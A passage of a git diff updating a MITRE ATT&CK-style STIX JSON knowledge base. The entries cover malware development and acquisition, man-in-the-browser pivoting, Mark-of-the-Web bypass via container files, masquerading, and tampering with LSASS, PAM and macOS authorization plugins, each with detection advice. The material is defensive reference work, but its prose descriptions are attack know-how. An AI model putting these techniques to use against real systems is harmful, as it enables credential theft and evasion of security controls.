+19836,12 @@ "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf" } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Malware", - "description": "Before compromising a victim, adversaries may develop malware and malware components that can be used during targeting. Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors, packers, C2 protocols, and the creation of infected removable media. Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB)\n\nAs with legitimate development efforts, different skill sets may be required for developing malware. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware.\n\nSome aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure. For example, malware developed that will communicate with Twitter for C2, may require use of [Web Services](https://attack.mitre.org/techniques/T1583/006).(Citation: FireEye APT29)", - "id": "attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0", - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "resource-development" - } - ], - "modified": "2020-10-22T13:05:43.492Z", - "created": "2020-10-01T01:33:01.433Z", - "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.", - "x_mitre_version": "1.0", - "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "PRE" - ] + ], + "x_mitre_is_subtechnique": true, + "x_mitre_version": "1.1", + "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle." }, { "external_references": [ @@ -18726,7 +19856,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Malware", - "description": "Before compromising a victim, adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.\n\nIn addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals. In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries).", + "description": "Adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.\n\nIn addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals. In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries).", "id": "attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970", "type": "attack-pattern", "kill_chain_phases": [ @@ -18735,7 +19865,7 @@ "phase_name": "resource-development" } ], - "modified": "2020-10-15T20:46:54.437Z", + "modified": "2021-04-15T03:14:41.582Z", "created": "2020-10-01T02:06:11.499Z", "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.", "x_mitre_version": "1.0", @@ -18745,9 +19875,19 @@ ] }, { - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + "created": "2018-01-16T16:13:52.465Z", + "modified": "2021-02-09T15:34:09.429Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } ], + "type": "attack-pattern", + "id": "attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Man in the Browser", + "description": "Adversaries can take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify behavior, and intercept information as part of various man in the browser techniques. (Citation: Wikipedia Man in the Browser)\n\nA specific example is when an adversary injects software into a browser that allows an them to inherit cookies, HTTP sessions, and SSL client certificates of a user and use the browser as a way to pivot into an authenticated intranet. (Citation: Cobalt Strike Browser Pivot) (Citation: ICEBRG Chrome Extensions)\n\nBrowser pivoting requires the SeDebugPrivilege and a high-integrity process to execute. Browser traffic is pivoted from the adversary's browser through the user's browser by setting up an HTTP proxy which will redirect any HTTP and HTTPS traffic. This does not alter the user's traffic in any way. The proxy connection is severed as soon as the browser is closed. Whichever browser process the proxy is injected into, the adversary assumes the security context of that process. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could browse to any resource on an intranet that is accessible through the browser and which the browser has sufficient permissions, such as Sharepoint or webmail. Browser pivoting also eliminates the security provided by 2-factor authentication. (Citation: cobaltstrike manual)", "external_references": [ { "source_name": "mitre-attack", @@ -18775,38 +19915,26 @@ "source_name": "cobaltstrike manual" } ], - "description": "Adversaries can take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify behavior, and intercept information as part of various man in the browser techniques. (Citation: Wikipedia Man in the Browser)\n\nA specific example is when an adversary injects software into a browser that allows an them to inherit cookies, HTTP sessions, and SSL client certificates of a user and use the browser as a way to pivot into an authenticated intranet. (Citation: Cobalt Strike Browser Pivot) (Citation: ICEBRG Chrome Extensions)\n\nBrowser pivoting requires the SeDebugPrivilege and a high-integrity process to execute. Browser traffic is pivoted from the adversary's browser through the user's browser by setting up an HTTP proxy which will redirect any HTTP and HTTPS traffic. This does not alter the user's traffic in any way. The proxy connection is severed as soon as the browser is closed. Whichever browser process the proxy is injected into, the adversary assumes the security context of that process. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could browse to any resource on an intranet that is accessible through the browser and which the browser has sufficient permissions, such as Sharepoint or webmail. Browser pivoting also eliminates the security provided by 2-factor authentication. (Citation: cobaltstrike manual)", - "name": "Man in the Browser", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "id": "attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47", - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "collection" - } + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], - "modified": "2020-07-14T19:39:44.590Z", - "created": "2018-01-16T16:13:52.465Z", - "x_mitre_is_subtechnique": false, - "x_mitre_version": "1.0", - "x_mitre_contributors": [ - "Justin Warner, ICEBRG" + "x_mitre_platforms": [ + "Windows" ], - "x_mitre_data_sources": [ - "Authentication logs", - "Packet capture", - "Process monitoring", - "API monitoring" - ], - "x_mitre_detection": "This is a difficult technique to detect because adversary traffic would be masked by normal user traffic. No new processes are created and no additional software touches disk. Authentication logs can be used to audit logins to specific web applications, but determining malicious logins versus benign logins may be difficult if activity matches typical user behavior. Monitor for process injection against browser applications", "x_mitre_permissions_required": [ "Administrator", "SYSTEM" ], - "x_mitre_platforms": [ - "Windows" - ] + "x_mitre_detection": "This is a difficult technique to detect because adversary traffic would be masked by normal user traffic. No new processes are created and no additional software touches disk. Authentication logs can be used to audit logins to specific web applications, but determining malicious logins versus benign logins may be difficult if activity matches typical user behavior. Monitor for process injection against browser applications.", + "x_mitre_data_sources": [ + "Process: Process Access", + "Logon Session: Logon Session Creation" + ], + "x_mitre_contributors": [ + "Justin Warner, ICEBRG" + ], + "x_mitre_version": "1.0", + "x_mitre_is_subtechnique": false }, { "external_references": [ @@ -18851,9 +19979,10 @@ ], "x_mitre_detection": "Monitor network traffic for anomalies associated with known MiTM behavior. Consider monitoring for modifications to system configuration files involved in shaping network traffic flow.", "x_mitre_data_sources": [ - "File monitoring", - "Netflow/Enclave netflow", - "Packet capture" + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Flow", + "Service: Service Creation", + "Windows Registry: Windows Registry Key Modification" ], "x_mitre_permissions_required": [ "User" @@ -18866,6 +19995,70 @@ "Linux" ] }, + { + "id": "attack-pattern--7e7c2fba-7cca-486c-9582-4c1bb2851961", + "description": "Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.(Citation: Microsoft Zone.Identifier 2020) Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file in not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020)\n\nAdversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is a NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)", + "name": "Mark-of-the-Web Bypass", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1553.005", + "url": "https://attack.mitre.org/techniques/T1553/005" + }, + { + "source_name": "Microsoft Zone.Identifier 2020", + "url": "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/6e3f7352-d11c-4d76-8c39-2516a9df36e8", + "description": "Microsoft. (2020, August 31). Zone.Identifier Stream Name. Retrieved February 22, 2021." + }, + { + "source_name": "Beek Use of VHD Dec 2020", + "url": "https://medium.com/swlh/investigating-the-use-of-vhd-files-by-cybercriminals-3f1f08304316", + "description": "Beek, C. (2020, December 3). Investigating the Use of VHD Files By Cybercriminals. Retrieved February 22, 2021." + }, + { + "source_name": "Outflank MotW 2020", + "url": "https://outflank.nl/blog/2020/03/30/mark-of-the-web-from-a-red-teams-perspective/", + "description": "Hegt, S. (2020, March 30). Mark-of-the-Web from a red team\u2019s perspective. Retrieved February 22, 2021." + }, + { + "source_name": "Intezer Russian APT Dec 2020", + "url": "https://www.intezer.com/blog/research/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/", + "description": "Kennedy, J. (2020, December 9). A Zebra in Gopher's Clothing: Russian APT Uses COVID-19 Lures to Deliver Zebrocy. Retrieved February 22, 2021." + } + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "modified": "2021-04-13T22:47:08.289Z", + "created": "2021-02-22T14:20:31.650Z", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_contributors": [ + "Christiaan Beek, @ChristiaanBeek" + ], + "x_mitre_data_sources": [ + "File: File Creation", + "File: File Metadata" + ], + "x_mitre_detection": "Monitor compressed/archive and image files downloaded from the Internet as the contents may not be tagged with the MOTW. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities.", + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_version": "1.0", + "x_mitre_defense_bypassed": [ + "Anti-virus, Application control" + ] + }, { "external_references": [ { @@ -18908,7 +20101,7 @@ "phase_name": "defense-evasion" } ], - "modified": "2020-03-29T20:21:11.895Z", + "modified": "2021-04-24T13:24:45.580Z", "created": "2020-02-10T20:30:07.426Z", "x_mitre_version": "1.0", "x_mitre_is_subtechnique": true, @@ -18919,10 +20112,11 @@ ], "x_mitre_detection": "Look for changes to tasks and services that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks or services may show up as outlier processes that have not been seen before when compared against historical data. Monitor processes and command-line arguments for actions that could be taken to create tasks or services. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", "x_mitre_data_sources": [ - "Windows Registry", - "Process monitoring", - "Process command-line parameters", - "Windows event logs" + "Command: Command Execution", + "Service: Service Metadata", + "Service: Service Creation", + "Scheduled Job: Scheduled Job Metadata", + "Scheduled Job: Scheduled Job Modification" ], "x_mitre_platforms": [ "Windows", @@ -18930,10 +20124,18 @@ ] }, { - "id": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Masquerading", - "description": "Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.\n\nRenaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site)", + "created": "2017-05-31T21:30:38.511Z", + "modified": "2021-04-24T13:24:45.840Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "type": "attack-pattern", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "source_name": "mitre-attack", @@ -18951,7 +20153,7 @@ "description": "LOLBAS. (n.d.). Living Off The Land Binaries and Scripts (and also Libraries). Retrieved February 10, 2020." }, { - "source_name": "Endgame Masquerade Ball", + "source_name": "Elastic Masquerade Ball", "description": "Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.", "url": "http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf" }, @@ -18961,33 +20163,12 @@ "description": "Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019." } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "modified": "2020-07-09T13:54:28.727Z", - "created": "2017-05-31T21:30:38.511Z", - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], - "x_mitre_detection": "Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.\n\nIf file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Endgame Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)\n\nLook for indications of common characters that may indicate an attempt to trick users into misidentifying the file type, such as a space as the last character of a file name or the right-to-left override characters\"\\u202E\", \"[U+202E]\", and \"%E2%80%AE\u201d.", - "x_mitre_defense_bypassed": [ - "Application control by file name or path" - ], - "x_mitre_data_sources": [ - "Process command-line parameters", - "File monitoring", - "Process monitoring", - "Binary file metadata" - ], + "description": "Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.\n\nRenaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site)", + "name": "Masquerading", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "x_mitre_is_subtechnique": false, + "x_mitre_version": "1.4", "x_mitre_contributors": [ "Oleg Kolesnikov, Securonix", "Nick Carr, FireEye", @@ -18996,10 +20177,36 @@ "Elastic", "Bartosz Jerzman" ], - "x_mitre_version": "1.3", - "x_mitre_is_subtechnique": false + "x_mitre_data_sources": [ + "Image: Image Metadata", + "Command: Command Execution", + "Service: Service Metadata", + "Service: Service Creation", + "Scheduled Job: Scheduled Job Metadata", + "Scheduled Job: Scheduled Job Modification", + "File: File Metadata", + "Process: Process Metadata", + "File: File Modification" + ], + "x_mitre_defense_bypassed": [ + "Application control by file name or path" + ], + "x_mitre_detection": "Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.\n\nIf file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)\n\nLook for indications of common characters that may indicate an attempt to trick users into misidentifying the file type, such as a space as the last character of a file name or the right-to-left override characters\"\\u202E\", \"[U+202E]\", and \"%E2%80%AE\u201d.", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Containers" + ] }, { + "id": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "description": "Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). In containerized environments, this may also be done by creating a resource in a namespace that matches the naming convention of a container pod or cluster. Alternatively, a file or container image name given may be a close approximation to legitimate programs/images or something innocuous.\n\nAdversaries may also use the same icon of the file they are trying to mimic.", + "name": "Match Legitimate Name or Location", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "source_name": "mitre-attack", @@ -19012,7 +20219,7 @@ "url": "https://capec.mitre.org/data/definitions/177.html" }, { - "source_name": "Endgame Masquerade Ball", + "source_name": "Elastic Masquerade Ball", "description": "Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.", "url": "http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf" }, @@ -19020,15 +20227,13 @@ "source_name": "Twitter ItsReallyNick Masquerading Update", "url": "https://twitter.com/ItsReallyNick/status/1055321652777619457", "description": "Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019." + }, + { + "source_name": "Docker Images", + "url": "https://docs.docker.com/engine/reference/commandline/images/", + "description": "Docker. (n.d.). Docker Images. Retrieved April 6, 2021." } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Match Legitimate Name or Location", - "description": "Adversaries may match or approximate the name or location of legitimate files when naming/placing their files. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). Alternatively, the filename given may be a close approximation of legitimate programs or something innocuous.\n\nAdversaries may also use the same icon of the file they are trying to mimic.", - "id": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "type": "attack-pattern", "kill_chain_phases": [ { @@ -19036,24 +20241,28 @@ "phase_name": "defense-evasion" } ], - "modified": "2020-06-20T22:11:45.970Z", + "modified": "2021-04-20T19:23:37.762Z", "created": "2020-02-10T20:43:10.239Z", - "x_mitre_version": "1.0", - "x_mitre_is_subtechnique": true, - "x_mitre_defense_bypassed": [ - "Application control by file name or path" - ], - "x_mitre_detection": "Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.\n\nIf file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Endgame Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)", - "x_mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters", - "Binary file metadata" - ], "x_mitre_platforms": [ "Linux", "macOS", - "Windows" + "Windows", + "Containers" + ], + "x_mitre_data_sources": [ + "Image: Image Metadata", + "File: File Metadata", + "Process: Process Metadata" + ], + "x_mitre_detection": "Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.\n\nIf file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)\n\nIn containerized environments, use image IDs and layer hashes to compare images instead of relying only on their names.(Citation: Docker Images) Monitor for the unexpected creation of new resources within your cluster in Kubernetes, especially those created by atypical users.", + "x_mitre_defense_bypassed": [ + "Application control by file name or path" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_version": "1.1", + "x_mitre_contributors": [ + "Yossi Weizman, Azure Defender Research Team", + "Vishwas Manral, McAfee" ] }, { @@ -19073,6 +20282,11 @@ "description": "Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.", "url": "https://www.secureworks.com/research/skeleton-key-malware-analysis" }, + { + "source_name": "Xorrior Authorization Plugins", + "url": "https://xorrior.com/persistent-credential-theft/", + "description": "Chris Ross. (2018, October 17). Persistent Credential Theft with Authorization Plugins. Retrieved April 22, 2021." + }, { "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx", "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.", @@ -19084,7 +20298,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Modify Authentication Process", - "description": "Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows or pluggable authentication modules (PAM) on Unix-based systems, responsible for gathering, storing, and validating credentials. \n\nAdversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. ", + "description": "Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078).\n\nAdversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.", "id": "attack-pattern--f4c1826f-a322-41cd-9557-562100848c84", "type": "attack-pattern", "kill_chain_phases": [ @@ -19095,20 +20309,28 @@ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" } ], - "modified": "2020-10-21T02:41:11.743Z", + "modified": "2021-04-26T20:08:31.712Z", "created": "2020-02-11T19:01:56.887Z", - "x_mitre_data_sources": [ - "File monitoring", - "Authentication logs", - "API monitoring", - "Windows Registry", - "Process monitoring", - "DLL monitoring" + "x_mitre_contributors": [ + "Chris Ross @xorrior" ], - "x_mitre_detection": "Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages) and correlate then investigate the DLL files these files reference. \n\nPassword filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)\n\nMonitor for calls to OpenProcess that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton) \n\nMonitor PAM configuration and module paths (ex: /etc/pam.d/) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.\n\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).", - "x_mitre_version": "1.1", + "x_mitre_data_sources": [ + "Logon Session: Logon Session Creation", + "Process: OS API Execution", + "Process: Process Access", + "File: File Modification", + "File: File Creation", + "Module: Module Load", + "Windows Registry: Windows Registry Key Modification" + ], + "x_mitre_detection": "Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages) and correlate then investigate the DLL files these files reference. \n\nPassword filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)\n\nMonitor for calls to OpenProcess that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton) \n\nMonitor PAM configuration and module paths (ex: /etc/pam.d/) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.\n\nMonitor for suspicious additions to the /Library/Security/SecurityAgentPlugins directory.(Citation: Xorrior Authorization Plugins)\n\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).", + "x_mitre_version": "2.0", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ "Windows", @@ -19144,24 +20366,29 @@ "phase_name": "defense-evasion" } ], - "modified": "2020-09-14T19:55:23.798Z", + "modified": "2021-04-20T14:51:01.759Z", "created": "2019-08-30T18:03:05.864Z", "x_mitre_detection": "Establish centralized logging for the activity of cloud compute infrastructure components. Monitor for suspicious sequences of events, such as the creation of multiple snapshots within a short period of time or the mount of a snapshot to a new instance by a new or unexpected user. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.", "x_mitre_data_sources": [ - "Stackdriver logs", - "GCP audit logs", - "Azure activity logs", - "AWS CloudTrail logs" + "Instance: Instance Stop", + "Instance: Instance Start", + "Instance: Instance Creation", + "Instance: Instance Modification", + "Instance: Instance Deletion", + "Snapshot: Snapshot Creation", + "Snapshot: Snapshot Modification", + "Snapshot: Snapshot Deletion", + "Volume: Volume Creation", + "Volume: Volume Modification", + "Volume: Volume Deletion" ], "x_mitre_is_subtechnique": false, - "x_mitre_version": "1.0", + "x_mitre_version": "1.1", "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ - "AWS", - "GCP", - "Azure" + "IaaS" ] }, { @@ -19277,11 +20504,12 @@ "Host forensic analysis" ], "x_mitre_data_sources": [ - "Windows Registry", - "File monitoring", - "Process monitoring", - "Process command-line parameters", - "Windows event logs" + "Process: Process Creation", + "Process: OS API Execution", + "Command: Command Execution", + "Windows Registry: Windows Registry Key Creation", + "Windows Registry: Windows Registry Key Modification", + "Windows Registry: Windows Registry Key Deletion" ], "x_mitre_contributors": [ "Bartosz Jerzman", @@ -19331,9 +20559,7 @@ ], "x_mitre_detection": "Most embedded network devices provide a command to print the version of the currently running operating system. Use this command to query the operating system for its version number and compare it to what is expected for the device in question. Because this method may be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001), it may be appropriate to also verify the integrity of the vendor provided operating system image file. \n\nCompare the checksum of the operating system file with the checksum of a known good copy from a trusted source. Some embedded network device platforms may have the capability to calculate the checksum of the file, while others may not. Even for those platforms that have the capability, it is recommended to download a copy of the file to a trusted computer to calculate the checksum with software that is not compromised. (Citation: Cisco IOS Software 